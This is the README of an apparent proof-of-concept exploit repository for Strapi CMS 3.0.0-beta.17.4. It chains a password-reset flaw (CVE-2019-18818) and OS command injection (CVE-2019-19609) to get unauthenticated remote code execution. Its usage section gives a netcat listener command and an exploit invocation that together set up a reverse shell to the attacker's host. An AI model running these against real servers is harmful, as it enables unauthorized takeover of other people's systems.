Strapi CMS 3.0.0-beta.17.4 - Unauthenticated Remote Code Execution (CVE-2019-18818, CVE-2019-19609)# Strapi CMS Exploit
This exploit targets two vulnerabilities in the Strapi CMS Framework version **3.0.0-beta-17.4** allowing for unauthenticated remote code execution (RCE).
<p> </p>
## Vulnerabilities
### CVE-2019-18818
Weak Password Recovery Mechanism for Forgotten Password
**CVSS**: 9.8 - Critical
More details: [https://nvd.nist.gov/vuln/detail/CVE-2019-18818](https://nvd.nist.gov/vuln/detail/CVE-2019-18818)
### CVE-2019-19609
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
**CVSS**: 7.2 - High
More details: [https://nvd.nist.gov/vuln/detail/CVE-2019-19609](https://nvd.nist.gov/vuln/detail/CVE-2019-19609)
<p> </p>
## Usage:
Before running this exploit, start a netcat listener on the `lport` you specify in the below options.
### Start netcat listener
```bash
nc -lnvp <lport>
```
### Run exploit
```bash
exploit.py <rhost> <lhost> <lport>
```
[4.0K] /data/pocs/6f74c0adcaa59e137fefc90b80bac814e3933fe2
├── [2.5K] exploit.py
├── [1.0K] LICENSE
└── [ 921] README.md
0 directories, 3 files